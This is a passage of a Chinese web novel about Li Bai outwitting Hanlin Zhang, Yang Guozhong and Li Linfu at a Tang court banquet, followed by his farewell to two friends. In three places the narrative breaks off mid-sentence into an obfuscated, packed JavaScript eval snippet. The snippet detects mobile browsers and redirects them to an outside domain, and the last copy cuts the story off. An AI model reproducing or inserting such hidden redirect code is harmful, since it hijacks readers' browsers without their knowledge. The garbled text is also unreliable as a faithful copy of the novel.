说完,李白拂袖而去,留下张翰林在原地,看着桌上那还在隐隐泛着蓝光的珍贵灵盘,脸上的狂喜尚未褪去,又添了几分尴尬和恼怒——这李白,承诺了,却不收礼!还把他视若珍宝的嘉州灵盘弃如敝履地丢在公案上!这……这算怎么回事? 然而想到李白答应在皇帝面前“美言”,尤其那句“于《楚辞》一道,造诣颇深”更是说到了他心坎上,张翰林又强行压下不快,安慰自己:终究是目的达成了!付出一个灵盘,换得御前露脸的机会,值了!只盼李白说话算话…… 四月廿六,麟德殿内。 灯火辉煌,乐舞升平。王孙贵胄、当朝重臣齐聚一堂。皇帝李隆基与贵妃杨玉环高居上座,容光焕发。盛宴的主题自然是赞颂贵妃的美貌与皇帝的盛德。 李白的位置极佳,紧邻宗室。觥筹交错间,李隆基兴致极高,不仅让李白当场新赋诗作应景,更饶有兴趣地询问起他那些早已传遍长安的传奇往事。 “太白,朕闻你蜀道一行,曾以侠肝义胆手刃悍匪?快与诸位爱卿讲讲!”李隆基笑问。 “还有醉仙楼那场六月飘雪!当真是仙家手笔!”玉环亦兴致盎然。 李白心知这是捧场,也是展现天子对才俊亲近的机会,故而从容不迫,面带笑意,娓娓道来蜀道杀贼之险,醉仙楼飘雪的奇谋巧思,以及《蜀道难》如何由天地之险、人生之叹喷薄而出。 他收敛起部分疏狂,以分享而非炫耀的姿态,将那些传奇经历娓娓道来,引得众人或惊叹、或神往。皇帝贵妃听得连连颔首,看向他的目光充满欣赏。 就在氛围推向高点,众人沉浸于李白的逸闻趣事时,话锋却在李□□妙的语言编织下,如溪流转入深潭,悄然过渡到了文学的源头。 “……天地造化,鬼斧神工,确非人力可及。然古之圣贤,观乎天地山川,发为文章,其神思浩渺,亦令后世敬仰。然若论这诗文之壮阔瑰奇,古今之宗匠,首推《楚辞》屈宋!其想象之奇诡,情感之深挚,爱国之热忱,足以感泣鬼神,令星月无光……” 他话题自然过渡到了《楚辞》。 皇帝显然被勾起了兴趣:“哦?《楚辞》?太白亦深研此道?朕记得翰林院中,似乎亦有人对此颇有钻研?” “陛下圣明!”李白立即躬身接话,情真意切,“翰林院中确有一人精通此道,颇负盛名。其精研《楚辞》多年,常口诵心惟,讲析精微,其学问之深厚,见解之精辟,令在下亦深为佩服!臣斗胆,此等苦心孤诣,应得天子知。明君贤臣,相得益彰,故而此次赴宴也邀他同往,现已在殿外等候。” “既如此,宣他上前,朕倒要听听这《楚辞》精要。”李隆基眼神示意高力士,“此等大才,怎可久候殿外,速速请进!” 20. 不敢高声语 早在宴会开始前,张翰林就已经在宫门外候着了。李白仅用诗牌告诉他候着就是,其他的自有他安排。 站在宫门外,张翰林的心脏几乎要跳出嗓子眼。来了!来了!他努力按捺住狂喜和紧张,正了正衣冠,确认自己的仪态万无一失。 ——他绝不会知道,高力士奉命出来传召前,已经得了李白的“贴心”嘱咐:“高将军,张大人面圣,难免紧张,不宜在显眼处久候忐忑。烦请将军带他去……嗯,东边偏殿回廊下那僻静处稍待,圣前喧哗总归失礼。让他在那儿清净片刻,平复心绪最好。” 高力士脸上挂着万年不变的恭敬笑容,躬身应道:“供奉思虑周全,老奴省得。” 然而,在垂首领命的瞬间,他那双阅尽宫闱风波的老眼深处,一丝极其细微的冷光倏然闪过。 他堂堂内侍省监、骠骑大将军、渤海郡公,侍奉圣人近四十年,深得信重,便是李林甫、杨国忠这等权相国戚,在他面前也要客客气气,如今竟被一个初入宫廷、根基未稳的“供奉”如此呼来喝去,当作打手使唤!李白这点借刀杀人、驱虎吞狼的小把戏,在他眼里简直如儿戏一般拙劣显眼! 他太清楚了:这个李白,哪里是体恤张翰林紧张?分明是料准了那僻静角落的阴湿足以让这位养尊处优又胆小如鼠的张大人狼狈不堪!那水池……那潮湿……那些扰人的小虫……哼!好个谪仙,手段倒是够狠够准!这是要借着咱家的手,替他了却私怨! 然而,这股邪火刚刚冒头,就被更强大的理智硬生生压了下去。高力士眼皮微垂,掩盖住所有情绪。 没办法!李白眼下圣眷正隆,是皇帝和贵妃眼前第一红人。沉香亭赋诗惊动长安,连深居简出的玉真公主都为其说话。此时刻,别说只是借他这把刀小小惩戒一下一个无关紧要的张翰林,就算是李白做得再过分些,只要不触及陛下底线,他高力士也只能捏着鼻子认了,甚至还得帮忙兜着点! 与一个如日中天的宠臣硬碰硬,绝非明智之举。 “张大人,请随咱家这边来。”高力士声音平静无波,对着张翰林做了个“请”的手势,将他引向了李白指定的那个“僻静处”。 他步伐沉稳,心中却已盘算清楚:这事他得办,还得办得不露痕迹,让李白如愿以偿。但同时,这份“被利用”的账,他暗暗记下了——李供奉,别得意太早,这深宫里的风,转向比你想的快!你今儿个利用咱家,那咱家就与你骑驴看唱本,走着瞧! 张翰林满心准备着圣前奏对,哪知刚站定片刻,角落里潮湿土壤和腐叶气息中钻出的几只潮虫、小蜈蚣就在他脚边窸窣爬动,更有小咬嗡嗡骚扰。他素来对这些小虫惊惧莫名,瞬间头皮发麻,浑身不自在。 他本想在见驾前抓紧最后的时间,再将袖中揣着的《楚辞》偷偷看上两眼。然而,蚊虫嗡嗡的骚扰和偶尔滑过脚面的湿冷触感搅得他心烦意乱。就在他试图弯腰拍打裤腿上的飞虫时,袖中那本被翻得卷了边的小册子竟脱手而出,“噗通”一声掉进了旁边假山池的浅水里! “哎呀!”张翰林低呼一声,急得汗都出来了。这书可是他的“倚仗”和“体面”!他顾不得许多,弯下腰就想去捞。 然而就在此时,高力士已来到跟前,声音不高却清晰入耳:“张翰林,陛下宣召,随咱家速速上殿!” “高将军!这……我的书……”张翰林看着浸在池水中的书卷,急得语无伦次。 “陛下召见,岂容耽搁!”高力士板起脸,不容置喙。 张翰林只得硬着头皮,带着满手的污迹和一颗忐忑不安的心,跟着高力士狼狈入殿。 麟德殿内,灯火璀璨,觥筹交错。张翰林在众人审视的目光下跪拜行礼,狼狈之色难掩,全然不见翰林学士应有的风度。 皇帝微不可察地皱了皱眉。贵妃眼底也掠过一丝诧异。 “张卿,听李供奉说,你于《楚辞》一道,深有研究?”李隆基声音平淡,听不出喜怒,“‘长太息以掩涕兮,哀民生之多艰。’此句何解?” 张翰林强自镇定,声音发颤但还算清晰:“回陛下,此句……此句表达了屈子……屈子对百姓疾苦之深切同情,对……对楚国未来之忧心忡忡!其悲悯情怀,日月可鉴!” 他答得不算错,但也只是浮皮潦草的泛泛之谈。 李隆基又随口问了几个《楚辞》中常见的典故和词句含义。张翰林气息稍定,凭着先前硬背下的那点存货,倒也磕磕绊绊地答了上来。 李白一直在旁冷眼旁观,看着张翰林对答如流,嘴角勾起一个意义不明的弧度。他就着刚刚讨论过的“若有人兮山之阿,披薜荔兮带女罗”,面向李隆基拱手道: “陛下,关于‘香草美人’之喻,似乎与《山海经》中某些异草形象有所牵连?” 李隆基眼神一亮,由《楚辞》延伸至《山海经》,更能考验博闻强识之功,故而瞥向张翰林,把李白的问题丢给他,看他如何作答。 张翰林显然被这突如其来的发问镇住了,迟疑片刻,他抛出了几句生硬的《山海经》注疏,算是蒙混过关。 然而,李白的提问并未就此打住,接连抛出几个刁钻问题。他不是对张翰林发问,而是看着皇帝的脸色,由皇帝将问题以一个威严的眼神递到张翰林面前: “……依臣浅见,此句异文所载,似与屈子当时心境更为契合?” “……《九章·怀沙》中有‘伤怀永哀兮,汩徂南土。眴兮杳杳,孔静幽默’之句,不知‘孔静幽默’与楚国巫祀‘降神之法’之间有何关联?” 这些问题一个比一个刁钻,一个比一个深僻。张翰林那点死记硬背的功夫哪里招架得住?他额头冷汗涔涔而下,支支吾吾,答非所问,急得面红耳赤。 殿内渐渐安静下来,所有人都看出来了:这个张翰林,完全被问住了!哪里是专攻楚辞,治学严谨的模样! 皇帝的脸色眼见着沉了下来,目光转向李白,带着明显的疑惑和不悦——此人满身狼狈,言语空洞无物,所谓“造诣颇深”在哪里?李白你莫不是戏弄于朕? 李白心中冷笑,面上却立刻露出一片惶恐和诚挚的神色,快步上前,对着皇帝深深一揖:“陛下恕罪!臣……臣惶恐!是臣失察!想来……想来……” 他目光“无意”地扫过如筛糠般发抖的张翰林,充满“理解”地叹了口气:“想来是张翰林兄生平难得面圣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275815|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日得睹天颜,感于陛下龙威浩荡、贵妃娘娘容光绝世,一时心潮澎湃,惊惧交加,把平素那些讲得头头是道的真知灼见,一时……一时竟给全然忘却了!” 一旁的李林甫端着一副温和恭谨的微笑,变幻莫测的目光却在李白和张翰林之间逡巡,不时看一眼皇帝的脸色。他拢在袖中的手指,正极其缓慢地捻动着指间一枚温润的玉扳指——这是他极度不悦时才有的小动作。 张翰林是他的人! 虽然张九龄倒台后,张翰林立刻改换门庭,摇尾乞怜地投靠过来,能力也有限,但终究是他在翰林院安插的一颗钉子,负责盯着院中动向,尤其是李白这种不安定因素。关于他与李白的过节,李林甫听过一些,却不以为意,不过是为些蝇营狗苟,不值得让他抬眼。 但李白今日这出戏,哪里是打张翰林的脸?分明是把耳光甩在了他李林甫的脸上!在这煌煌麟德殿,当着皇帝的面,把他李林甫新收的一条狗打得满地找牙,颜面尽失! 他眯起眼睛,手捻须髯,且听这狂生如何继续他的滑稽剧。 李白上前一步,声音更添几分“仗义”:“然请陛下明鉴!张翰林对楚辞之研究倾注心血,常于休沐之日亦闭门苦读。其人在翰林院中,为人是极坦荡直率的!他对同僚也是关爱有加,对臣,那也是时时提点照顾。臣……臣也是想到平日多得张兄照顾,此番陛下设此盛会,才斗胆举荐,盼他也得沐天恩一二……是臣思虑不周,有负圣望,罪该万死!” 他一副自责又为同僚求情的模样,言语间既点出张翰林平日“清苦”,又强调他对自己“照顾”,还把他在御前失态完全归咎于“紧张”,撇开了皇帝对自己“识人不明”的责备。 这一番“仗义执言”下来,殿内气氛为之一变。众人从起初鄙夷张翰林,转为觉得此人虽才疏学浅上不得台面,但李白以德报怨,在御前还能为“老同僚”如此辩白求情,实在是有情有义,心胸宽广,连贵妃也微微颔首。 李隆基看着李白一副好心办坏事的痛心疾首模样,又看看地上抖如筛糠、狼狈不堪的张翰林,心中那点不快倒被李白的“赤诚仗义”冲淡了几分。不过是个小人物,不值得大动干戈。 “罢了。” 李隆基挥了挥手,语气淡淡:“既是你念及同僚之谊,其心可悯。太白你亦是无心之失。张翰林……”他瞥了一眼地上的人,“今日御前失仪,可见还需历练。回你的翰林院去吧,勤加修习,恪尽职守。” 一个“恪尽职守”,基本判定了张翰林的上限就在那个誊抄公文,整理卷宗的岗位上了。 李林甫自然也听出了皇帝的言外之意,拈须的手指微微一顿,眼中寒光一闪即逝。 张翰林如此狼狈地被当众驱逐,不仅证明了他的无能,更让满朝皆知他李林甫刚刚收拢的一条狗,转眼就被李白这个新宠踩在了泥里!这让他这位权倾朝野的宰相颜面何存?李白此举,无异于在他一手遮天的权力版图上公然挑衅。 他李林甫最恨的就是这种不受掌控,锋芒毕露的刺头。此人必须打压,而且要尽快、要彻底,不能让他再借皇帝之势坐大!他看向李白的眼神,已是在看一个需要被拔除的钉子。 21. 恐惊天上人 “谢……谢陛下开恩!”张翰林几乎是带着哭腔叩头谢恩,连滚爬起,在无数道或讥讽、或怜悯的目光注视下,踉跄着退出大殿。 他如何听不出?这是他以后永不得参加皇家宴饮的宣判书!他本想借此机会在皇帝,尤其是在李林甫李相公面前好好表现一番,不想弄巧成拙! “这就是李太白推荐的人?” “哼,丢人现眼。” “李供奉倒是好心,可惜……” 一句句讥讽之声如小刀般凌迟着他的自尊。他本以为今日是青云直上的起点,却摔得粉身碎骨,在皇帝和整个核心权力圈面前,彻底沦为笑柄! 李白! 他最后怨毒地看向殿内那个潇洒飘逸的身影——他哪里是举荐?分明是设好了圈套让自己钻! 他心中恨极。恨李白的毒辣算计,恨他故意诱导皇帝问那些刁钻问题,恨他轻飘飘几句“仗义”就把自己钉死在了“无能怯懦”的耻辱柱上! 但恨又如何?如今的李白,皇帝随叫随到,已是天子近臣,再不需要看翰林院的脸色。而他张翰林,经此一事,算是彻底按在了翰林院那方小小的书案前,前途无望。灵盘是白送了,面子也丢尽了,前途也完了!真是赔了夫人又折兵! 张翰林的狼狈离场不过是一个短暂的小插曲,觥筹交错,歌舞又起。李隆基很快恢复了兴致。他亲自赐酒给李白:“太白重情,朕心甚慰!来,饮胜!” 就在酒宴重归欢乐之时,一直冷眼旁观的杨国忠手捻酒杯,脸上挂着毫无温度的笑容,朗声开口,声音洪亮地压过了乐声: “陛下,娘娘!今日盛景,全赖陛下洪福,娘娘丽质!说到此,臣忽然想起一事。近日长安城内外皆闻,供奉李白那首情深意切的《长干行》,被印在胭脂盒上,广为流传,传为佳话。此等才子文章点缀女子妆台,亦风雅美谈也!” 他话锋一转,目标直指李白:“李供奉诗惊天下,前日沉香亭《清平调》三首,更是千古绝唱!将娘娘风骨神韵描摹得……啧,臣这粗笨之人都不知该如何形容了!如此神品,只藏于宫中,岂不可惜?臣思之,何不将那《清平调》也制成这等雅物遍传坊市?让天下百姓,无论贵贱,亦能睹诗思人,体悟娘娘绝世风华与供奉惊世诗才?” 杨国忠把目光投向皇帝,又移向自己的胞妹,最后才落到李白脸上:“此乃彰陛下德化、扬娘娘美名、显供奉才华,一举三得之美事也!供奉以为如何啊?”他笑容可掬,眼中却精光闪烁。 宴席顿时安静几分。 李隆基端着酒杯,面带笑意,不置可否目光瞥向杨玉环。杨玉环眼波流转,脸上泛起一丝恰到好处的羞涩红晕,以扇掩唇,声音娇柔:“国忠大人有心了。只是……这诗篇终究是供奉所作,还是要看供奉的意思。” 她巧妙地将决定权抛回给李白,但眼角眉梢流露出的,分明是认可与欢喜。 李林甫拈须不语,高深莫测。他倒要看看,这对偶然承幸起家的兄妹如何作妖。 李白心中瞬间警铃大作。 杨国忠这哪里是提议?简直是明抢!他看中了《长干行》商业化带来的巨大利益,现在要用《清平调》去铺开他杨家的商业网络,要超过那个小小的胭脂商,赚取滚滚财源! 他看向皇帝,皇帝虽然没说话,但表情平静,显然对此提议并无不满,甚至可能是事前默许或乐见其成的。毕竟,这能进一步烘托贵妃的“神女”形象。杨国忠若无把握,岂敢当众提出?所谓询问自己,不过是走个过场。 权衡只在一瞬。杨国忠代表着庞大的权势集团,正面硬抗绝不明智。皇帝和贵妃的态度也已明了。拒绝,不仅得罪杨国忠,更可能引起帝妃不快,毁掉玉真公主好不容易争取来的那点“自由”。 在这几乎令人窒息的压迫感中,李白的思绪电转。此刻他刚经历“提携”张翰林的小风波,不宜再顶撞贵妃和杨国忠。何况自己答应与否,恐怕结果都一样。此刻不得不屈膝,但屈膝是为了下一步向上跃起。 他深吸一口气,脸上竟绽开一抹带着些醉意的潇洒笑容,对着上首拱手:“杨侍郎此议,妙极!” 他先顺着应了一声,引得杨国忠面色稍缓。 “然则,陛下、娘娘容禀!” 李白话锋陡转,声音清朗中带着一种为天下执笔人请命的庄重。 “太白近日听闻一事,颇觉事关文道兴衰,亦关乎朝廷体统。长安宝地,诗社林立,才子云集。凡有商贾欲取其社友诗作印刻于器物之上用以牟利的,诗社皆有一规矩:必得该诗人亲笔签押之凭证,并立下白纸黑字之契约,言明用途、期限、分润之法,以防奸佞之徒盗用文墨、欺世盗名!自陈公子昂风骨诗社伊始,诸社皆沿袭此法,已四十余载。” 李白深吸一口气,抛出最关键的一击,目光锐利地看向杨国忠,声音陡然拔高: “请陛下、娘娘细想,似《清平调》这般专为赞颂娘娘绝世姿容、陛下恩德所赋之千古绝唱,若被某些唯利是图、全无敬畏的奸商盗印于粗劣器物之上,在市井间随意叫卖,这岂非是对娘娘仙姿玉质的亵渎?对陛下恩泽的轻慢?更是对皇家颜面的极大折损!此等污秽龌龊之事,断不可容!” 最后,李白为自己的争辩画上一个庄重的句号:“故而!太白斗胆,祈请陛下圣裁!可否下诏,令天下知晓:凡欲取诗人诗作行牟利之事者,皆须预先征得诗人首肯,订立白纸黑字之契约,明确权责利分,违者当以律惩之!如此,既可保诗人之利,使其不受盘剥;又可示朝廷对文道之尊重,彰明圣朝教化之功。太白此言,非为一己之私,实乃为天下执笔文士,谋一长久公道!” “你!……” 杨国忠被这连珠炮似的质问和那“亵渎”“折损”的帽子砸得又惊又怒,脸色瞬间铁青,指着李白,那句“你大胆”卡在喉咙里硬是吐不出来。他本以为李白只能唯唯诺诺应下,万万没想到对方竟敢反将一军! 一旦下诏,他想独家运作《清平调》牟取暴利,也得先去求李白签那个该死的“凭证”,这简直是奇耻大辱! 但……他也绝不愿意看到这诗被阿猫阿狗随意糟蹋,那确实是在打他妹妹和他杨家的脸!事已至此,他杨国忠若再强行要求随意使用,岂不是自认“唯利是图”“不顾皇家颜面”?这份憋闷和算计落空的感觉,让他恨不得生吞了李白。 李隆基的脸色也沉了下来。李白前面那番“为天下诗人立法”的说辞,他听进去了几分,但触动有限。然而这最后一句“亵渎贵妃”“折损皇家颜面”,却像一根针,狠狠刺中了他的敏感神经。 杨玉环是他心尖上的人,《清平调》是他亲自见证、亲口赞誉的绝世诗篇,岂能容忍被市井小人随意糟蹋?尤其想到可能被印在粗鄙器物甚至不堪之处流传……一股怒火瞬间窜起。 “太白所言极是!”皇帝的声音带着不容置疑的威严,目光如电扫过杨国忠,“贵妃之赞,何等清贵!岂容宵小之辈玷污?若《 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275816|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清平调》被随意盗印流于市井,成何体统!” 他转向李白,语气带着赞许:“卿家思虑周全,不仅为天下文人,更是为皇家体面着想!高力士!” “老奴在!” “传朕口谕!着刑部、大理寺即刻拟旨:自今日起,大唐境内,凡欲取诗人诗赋文章等文墨之道,用以印刻器物、刊印售卖、谱曲传唱等牟利之举者,无论其人是贩夫走卒还是王公贵戚……” 皇帝特意加重了后面几个字,目光瞥向杨国忠:“必须先告诗人本人或其所属诗社主事,取得其亲笔签押之凭证文书,并订立契约,载明用途、期限、利分之法!违者,以盗论处!严惩不贷!此律即日颁行天下,各州各县,一体遵行!” “是!老奴遵旨!”高力士高声应道。 皇帝又看向脸色铁青、胸脯起伏不定的杨国忠,以及一旁脸上看不出喜怒的李林甫:“国忠、林甫,此事关乎朝廷文治声誉与皇家尊严,你二人需全力督饬刑部、大理寺,务必将此律落到实处!至于《清平调》所用器物,待此令初成,也须按新规,好生征得供奉首肯方可行事。爱妃以为如何?”他最后还不忘温柔地问杨玉环的意见。 杨玉环微笑着颔首:“陛下圣明,自当如此。供奉高义,玉环感佩。” 见皇帝贵妃都发了话,杨国忠也别无他法,从牙缝里挤出三个字:“臣……遵旨!” 尘埃落定,杨国忠和李林甫只得压下满心的不以为然和被打搅的不快,称赞着圣人的贤明,对李白也赞誉有加。但在他们心中,这劳什子“诗人律令”不过是皇帝兴之所至、为哄李白开心而随口施舍的面子工程罢了。至于如何监管、如何实行,自然另有一套路数。 相较于杨国忠的咬牙切齿,李林甫则淡定许多,至少面上如古井无波。可他心中却对李白的这番操作刮目相看,同时也升起了更深的忌惮。 这小子的手腕和胆量,远超他之前的预估!竟能借皇帝之手,将诗社那点私下约定,硬生生拔高到大唐律令上!这等于是在帝国的司法机器上,硬生生塞进了一条保护文人权益的楔子。虽然这律令的执行力有待观察,但这开创性的举动本身,就显示了李白非同寻常的能量和影响力。 他借力打力,用的是阳谋,竟让皇帝心甘情愿成了他的刀。这份心机和借势的能力,让李林甫不得不重新评估这个“御用诗人”的危险性。他看向李白的眼神,更深沉了几分。 李白听着高力士宣旨的口谕,看着杨国忠那副吃了苍蝇般的表情和李林甫深不可测的眼神,心中很是得意了一阵,但随即被一股巨大的忧虑湮没。 这份律令的诞生,夹杂着他对杨国忠的反击、对诗友权益的伸张、对皇家尊严的利用。它像一道脆弱的藩篱,在权力的森林中勉强划出了一块小小的领地。 但这道藩篱能否真正护住那些散落在民间的诗心?在杨国忠、李林甫这些手握权柄的巨兽面前,这纸律令又有多大的分量? 盛宴的喧嚣似乎离他远去了。他端起酒杯,杯中琼浆倒映着麟德殿的辉煌灯火,也映照着他眼中那份迷茫。 他应该高兴吗?玉生的仇报了,老友终于可以解开心结了。诗社对诗稿的保护范围扩大了,高三十五知道后定会夸他深谋远虑。 可他分明看到,皇帝与贵妃笑得越是开心,杨国忠、李林甫等人的脸色就被衬得越是阴沉。 那“天上人”的宫阙,究竟是他的归宿,还是他振翅欲离的囚笼? 22. 众鸟高飞尽 麟德殿的风云激荡仿佛还在耳边回响,李白踏着月色回到常乐坊小院时,步履间依旧带着酒意熏染的飘忽,眉宇间却尽是扬眉吐气的光。 他一把推开院门,声音洪亮,震得屋檐下的灯笼都晃了晃: “玉生!十九!痛快!今日当真是痛快!” 卢玉生和吴十九早已备好醒酒汤和温水,见他如此兴奋,忙迎上来。李白顾不得喝水,拉着两人在院中石凳坐下,唾沫横飞地讲述起来: “你们是没瞧见那张翰林的狼狈相!陛下问他《楚辞》,支支吾吾,前言不搭后语!谁不知道他整日袖子里揣本《楚辞》装模作样,骗骗外行还行,在圣人面前直接露怯!最后陛下金口一开,让他‘恪尽职守’。这四个字,就是把那厮钉死在翰林院那方寸之地了!看他日后还敢作妖!当时他那张脸,比死了三天还白!” 李白说完,这才举旗醒酒汤一饮而尽:“痛快!比喝十坛剑南烧春还痛快!” 吴十九听得血脉偾张,也跟着拍掌大笑:“该!叫那狗眼看人低的东西尝尝滋味!李生干得漂亮!” 卢玉生听着,脑海中不由浮现出那日自己在翰林院被他当众羞辱的画面。如今恶人遭了报应,那积郁许久的怨气也随着李白的描述消散了许多。 他苍白的脸上露出一丝难得的、释然的笑意,低声附和:“是……是极解气。” 然而,这笑意转瞬便被忧虑覆盖。他抬头看向眉飞色舞的李白,眉头微蹙:“十二郎……那张翰林终究不是善茬。他今日遭此奇耻大辱,会不会……日后寻机报复于你?” “他敢!” 李白大手一挥,带着七分醉意三分傲然:“玉生,你多虑了!如今的我,是陛下御前亲点的‘供奉’,贵妃娘娘跟前挂名的‘谪仙’!玉真长公主座上宾!他张翰林算个什么东西?一个在翰林院里誊誊抄抄的末流小吏,给他一百个胆子,他敢动我一根手指头?” 卢玉生看着他意气风发的样子,又想想皇帝今日对李白的恩宠,心中的石头稍稍落了地。是啊,十二郎如今是云端上的人物了,那张翰林再不甘,又能如何?倒是自己杞人忧天了。 然而,空气却在这阵兴奋的余波后,突然陷入了一种异样的沉默。院中只有风吹树叶的沙沙声和远处隐约的梆子响。卢玉生看看吴十九,吴十九深吸一口气,避开李白灼灼的目光,艰难地开口: “李生……有件事,我和玉生商量好了,打算……挑个黄道吉日,回蜀中老家去。” 李白脸上的笑容瞬间凝固。他端着碗的手顿在半空,目光在吴十九和卢玉生脸上来回扫视。 卢玉生垂下眼,轻轻点头。 吴十九看着李白瞬间愣住的神情,解释道:“玉生身子骨弱,长安水土燥烈,不易将养,夜里总咳嗽。家里爹娘来信说身子不好,挂念得紧……我自己在外多年,也实在想念父母和小弟小妹……”他的声音低沉,充满了归乡的急切和无法继续陪伴挚友的歉疚。 李白沉默了片刻,眼中的光亮黯淡了几分。麟德殿的辉煌、帝王的赞许、复仇的酣畅,在这一刻骤然失色。他看着眼前这两个陪他闯荡长安、共过患难的故友——一个病弱却坚韧,一个憨厚而忠诚。他们眼中流露的,是对故乡和亲情的渴望。 理由如此正当,如此合情合理。大仇得报,心愿已了,长安的繁华与漩涡,于他们而言,确实不如蜀道险峻后方那烟火缭绕的故园亲切。 强留?他没有道理。 “好……是该回去看看!”李白的声音依旧爽朗,却带上了一丝不易察觉的沙哑,“几时……动身?可还缺些什么?” 吴十九道:“就这几天吧。行李都归置得差不多了,也没什么特别需要添置的。” 李白沉默片刻,眼中闪烁的星光似乎黯淡了一瞬,随即涌上更浓烈的不舍:“这……这太仓促了!至少……再留三日!让我……好好送送你们!” 卢、吴二人面面相觑,但李白不给他们拒绝的机会,拍板道:“就这么定了!” 三天时光,在离愁别绪中显得格外仓促又格外漫长。 这三日,李白抛开了诗牌上可能的御前召见,推掉了所有无关紧要的应酬。他亲自跑遍西市,精心挑选了二十四个精致的蜀锦钱袋,上面绣着长安时兴的缠枝莲纹和瑞兽图案。他将沉甸甸的开元通宝一一装入袋中,每个都塞得鼓鼓囊囊。 以往,李白都是通过柜房,托人用飞钱将接济蜀中那二十四位寒门学子的钱款定期汇去。这一次,他却决定让这份心意变得更厚重、更具体。 他要让卢玉生和吴十九,将这份带着长安祝福的,实实在在的“心意”亲手交到那二十四个少年手中。 “告诉他们,昔日‘扶摇’砚之恩,太白从未敢忘。”李白郑重地将那沉甸甸的二十四只锦囊交到卢吴二人手上。 “只愿此些微末之物,助他们添置笔墨书籍,安心向学。金榜题名,指日可待!待他们功成名就之时,我再与诸君痛饮!”他的声音带着穿透关山万里的豪情与期盼。 三日之期转瞬即至。 饯行的地点,选在了醉仙楼——这个他们初入长安时落脚的地方,见证过“六月飞雪”传奇的楼宇。同样的天字号雅间,窗外依旧是长安璀璨的夜景,心境却已迥然不同。 选了临窗的雅座,点上熟悉的菜肴,叫来好酒。李白端起酒杯,声音洪亮,竭力驱散离别的阴霾:“来!为二位贤弟荣归故里,一路顺遂!干!” 佳肴满案,琼浆满杯。三人频频举杯,说着昔日蜀道趣事,说着长安的糗事,努力冲淡离别的愁绪。然而欢笑之下,那离愁别绪如同窗外不知何时飘起的细雨,无声浸润。 酒过三巡,喧闹声中,一个熟悉的身影带着爽朗的笑声靠近。 “哈哈!李供奉!好兴致!方才在楼下就听着像是你的声音,果不其然!” 草圣张旭端着酒杯走了过来,目光扫过卢玉生和吴十九,认出是李白同乡好友,便笑着拱手见礼:“打扰三位雅聚了。” 他看向李白,笑容略带歉意:“十二郎,方便的话,借一步说几句话?就一小会儿!” 卢玉生和吴十九对视一眼,虽心中离别之情正浓,但张旭毕竟声名赫赫,且态度恳切,两人点头示意无妨。 李白看了朋友一眼,强提精神:“好,长史稍待。”他拍拍卢吴二人肩膀以示安抚,随张旭出了包间。 李白被张旭半拉半拽地带到隔壁更大的雅间,里面已坐了几人,除了几位熟识的文友,还有一位面容清癯,气质沉静的中年人,正是吴道子。 “道玄兄也在?”李白有些意外,拱手见礼。 吴道子只沉重地点点头,并无寒暄。张旭迅速掩上门,脸上的笑容彻底消失,压低声音,带着一股压抑的烦躁: “太白,出麻烦了!杨国忠那厮昨夜急派人传讯给道玄,限令他在一月之内,赶制十二幅贵妃娘娘画像!” “画像?”李白扬眉。 “正是!”张旭语速加快,“而且要求每幅画都要与每月的时令名花相配,什么正月梅花、二月杏花……以此类推!十二幅!做成一套屏风!更离谱的是,他竟指名要我……要我提笔用狂草将你的《清平调》分别题写在十二幅画屏之上!” 张旭说到最后,脸上露出难以置信的神情:“贵妃玉容配花卉倒也罢了,可我那狂草,放在屏风之上配太真娘子的画像?这……这成何体统!可那杨国忠权势熏天,勒令得紧,道玄和我……推诿不得!” 李白心中冷笑,果然是杨国忠的风格!他个靠妹妹裙带上位的粗人,只知强行拼凑“雅物”以抬高身价。 他尚未开口,张旭接着道:“方才所说倒还在其次,只是我等胸中不快,要与太白倾诉。但我要提醒你的是另一桩!你那《清平调》,现在可是炙手可热,只怕……只怕市面上那些奸猾商贾,很快就会将你的《清平调》印满了胭脂盒子、团扇绢帕、诗笺文具之类的东西去牟利!你可得早做心理准备,免得到时看了生堵!” “谁敢?”李白剑眉一挑,酒气混合着畅意自信直冲上涌。 他负手而立,声音洪亮了几分,将麟德殿的得意时刻重现:“杨国忠前日不是也想打《清平调》的主意么?结果如何?圣上金口玉言,已颁下御诏:自即日起,凡商人欲取诗人诗赋印刻牟利者,必先告诗人或其所属诗社主事,得凭证、立契约!敢有违者,以盗论处!” 他目光灼灼扫过在座惊愕的众人:“我李太白的诗,岂是宵小之辈可随意糟践的?” “什么诏令?什么凭证?”张旭和在座几人都愣住了。 李白得意地将麟德殿上如何借杨国忠索诗之机,反将一军,最终促使皇帝下旨确立“凡商用诗作必先得诗人许可凭证”之事娓娓道来。末了,他拍案道:“此乃开天辟地头一遭!为天下诗人争得一份公道!陛下圣明!” 众人听得目瞪口呆,看向李白的眼神充满了震惊与钦佩。能在杨国忠和李林甫眼皮子底下做成此事,还让皇帝心甘情愿下旨,这位“谪仙”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 